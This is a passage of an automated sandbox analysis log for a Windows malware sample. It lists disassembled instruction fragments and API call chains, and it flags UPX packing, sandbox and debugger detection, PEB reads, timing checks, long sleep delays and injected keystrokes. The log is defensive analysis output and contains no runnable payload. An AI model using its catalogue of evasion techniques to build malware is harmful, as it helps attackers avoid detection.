            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038309AD push ecx; mov dword ptr [esp], ecx1_2_038309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0380283D push eax; iretd 1_2_03802858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03801368 push eax; iretd 1_2_03801369
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02C9225F pushad ; ret 6_2_02C927F9
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02C927FA pushad ; ret 6_2_02C927F9
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02C9283D push eax; iretd 6_2_02C92858
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_02CC09AD push ecx; mov dword ptr [esp], ecx6_2_02CC09B6
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00160190 push edi; iretd 6_2_0016019B
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0016018F push edi; iretd 6_2_0016019B
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0016018A push edi; iretd 6_2_0016019B
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_001581A0 push esi; ret 6_2_001581AA
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0015221F push eax; iretd 6_2_00152220
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00150420 push cs; iretd 6_2_0015049D
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0014E662 push eax; iretd 6_2_0014E663
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_00152AE0 push ds; retn AABCh6_2_00152B79
            Source: initial sampleStatic PE information: section name: UPX0
            Source: initial sampleStatic PE information: section name: UPX1
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CEFAD GetForegroundWindow,FindWindowW,IsIconic,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,ShowWindow,0_2_008CEFAD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00941B74 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00941B74
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Found API chain indicative of sandbox detection
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSandbox detection routine: GetForegroundWindow, DecisionNode, Sleepgraph_0-91129
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeAPI/Special instruction interceptor: Address: BE3184
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220D324
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220D7E4
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220D944
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220D504
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220D544
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220D1E4
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE22210154
            Source: C:\Windows\SysWOW64\RmClient.exeAPI/Special instruction interceptor: Address: 7FFE2220DA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E rdtsc 1_2_0387096E
            Source: C:\Windows\SysWOW64\RmClient.exeWindow / User API: threadDelayed 3717Jump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeWindow / User API: threadDelayed 6256Jump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeAPI coverage: 4.1 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
            Source: C:\Windows\SysWOW64\RmClient.exeAPI coverage: 2.6 %
            Source: C:\Windows\SysWOW64\RmClient.exe TID: 7128Thread sleep count: 3717 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exe TID: 7128Thread sleep time: -7434000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exe TID: 7128Thread sleep count: 6256 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exe TID: 7128Thread sleep time: -12512000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe TID: 5676Thread sleep time: -45000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\RmClient.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091DADC lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_0091DADC
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009268AD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_009268AD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092680C FindFirstFileW,FindClose,0_2_0092680C
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091CF94 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0091CF94
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091D2C7 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0091D2C7
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00929560 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00929560
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009296BB SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_009296BB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00929A49 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00929A49
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00925BB5 FindFirstFileW,FindNextFileW,FindClose,0_2_00925BB5
            Source: C:\Windows\SysWOW64\RmClient.exeCode function: 6_2_0015C3A0 FindFirstFileW,FindNextFileW,FindClose,6_2_0015C3A0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_008B615E
            Source: RmClient.exe, 00000006.00000002.3582680606.000000000267D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
            Source: ORAQROHXYZcgef.exe, 00000007.00000002.3583306029.000000000114F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: firefox.exe, 00000008.00000002.2547117780.000001D3D647C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlltt:
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeAPI call chain: ExitProcess graph end nodegraph_0-93328
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E rdtsc 1_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00417403 LdrLoadDll,1_2_00417403
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092E9C9 BlockInput,0_2_0092E9C9
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B445D GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_008B445D
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_008B615E
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D4C78 mov eax, dword ptr fs:[00000030h]0_2_008D4C78
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00BE33F0 mov eax, dword ptr fs:[00000030h]0_2_00BE33F0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00BE3450 mov eax, dword ptr fs:[00000030h]0_2_00BE3450
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00BE1DD0 mov eax, dword ptr fs:[00000030h]0_2_00BE1DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]1_2_0382E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]1_2_0382E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]1_2_0382E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385438F mov eax, dword ptr fs:[00000030h]1_2_0385438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385438F mov eax, dword ptr fs:[00000030h]1_2_0385438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]1_2_03828397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]1_2_03828397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]1_2_03828397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EC3CD mov eax, dword ptr fs:[00000030h]1_2_038EC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]1_2_0383A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]1_2_038383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B63C0 mov eax, dword ptr fs:[00000030h]1_2_038B63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]1_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]1_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov ecx, dword ptr fs:[00000030h]1_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]1_2_038DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D43D4 mov eax, dword ptr fs:[00000030h]1_2_038D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D43D4 mov eax, dword ptr fs:[00000030h]1_2_038D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]1_2_038403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]1_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]1_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]1_2_0384E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038663FF mov eax, dword ptr fs:[00000030h]1_2_038663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]1_2_0386A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]1_2_0386A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]1_2_0386A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382C310 mov ecx, dword ptr fs:[00000030h]1_2_0382C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03850310 mov ecx, dword ptr fs:[00000030h]1_2_03850310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]1_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov ecx, dword ptr fs:[00000030h]1_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]1_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]1_2_03908324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]1_2_038B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov ecx, dword ptr fs:[00000030h]1_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]1_2_038B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA352 mov eax, dword ptr fs:[00000030h]1_2_038FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D8350 mov ecx, dword ptr fs:[00000030h]1_2_038D8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390634F mov eax, dword ptr fs:[00000030h]1_2_0390634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D437C mov eax, dword ptr fs:[00000030h]1_2_038D437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E284 mov eax, dword ptr fs:[00000030h]1_2_0386E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386E284 mov eax, dword ptr fs:[00000030h]1_2_0386E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]1_2_038B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]1_2_038B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]1_2_038B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402A0 mov eax, dword ptr fs:[00000030h]1_2_038402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402A0 mov eax, dword ptr fs:[00000030h]1_2_038402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov ecx, dword ptr fs:[00000030h]1_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]1_2_038C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]1_2_0383A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039062D6 mov eax, dword ptr fs:[00000030h]1_2_039062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]1_2_038402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]1_2_038402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]1_2_038402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382823B mov eax, dword ptr fs:[00000030h]1_2_0382823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B8243 mov eax, dword ptr fs:[00000030h]1_2_038B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B8243 mov ecx, dword ptr fs:[00000030h]1_2_038B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0390625D mov eax, dword ptr fs:[00000030h]1_2_0390625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A250 mov eax, dword ptr fs:[00000030h]1_2_0382A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836259 mov eax, dword ptr fs:[00000030h]1_2_03836259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA250 mov eax, dword ptr fs:[00000030h]1_2_038EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EA250 mov eax, dword ptr fs:[00000030h]1_2_038EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]1_2_03834260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]1_2_03834260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]1_2_03834260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382826B mov eax, dword ptr fs:[00000030h]1_2_0382826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]1_2_038E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03870185 mov eax, dword ptr fs:[00000030h]1_2_03870185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EC188 mov eax, dword ptr fs:[00000030h]1_2_038EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EC188 mov eax, dword ptr fs:[00000030h]1_2_038EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4180 mov eax, dword ptr fs:[00000030h]1_2_038D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4180 mov eax, dword ptr fs:[00000030h]1_2_038D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]1_2_038B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]1_2_0382A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]1_2_0382A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]1_2_0382A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F61C3 mov eax, dword ptr fs:[00000030h]1_2_038F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F61C3 mov eax, dword ptr fs:[00000030h]1_2_038F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov ecx, dword ptr fs:[00000030h]1_2_038AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]1_2_038AE1D0
